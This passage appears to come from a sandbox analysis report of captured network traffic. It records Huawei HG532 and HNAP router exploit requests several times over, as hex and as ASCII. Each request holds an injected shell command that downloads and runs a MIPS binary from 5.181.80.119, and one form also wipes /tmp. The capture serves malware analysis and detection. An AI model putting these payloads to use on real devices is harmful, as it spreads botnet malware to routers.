62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
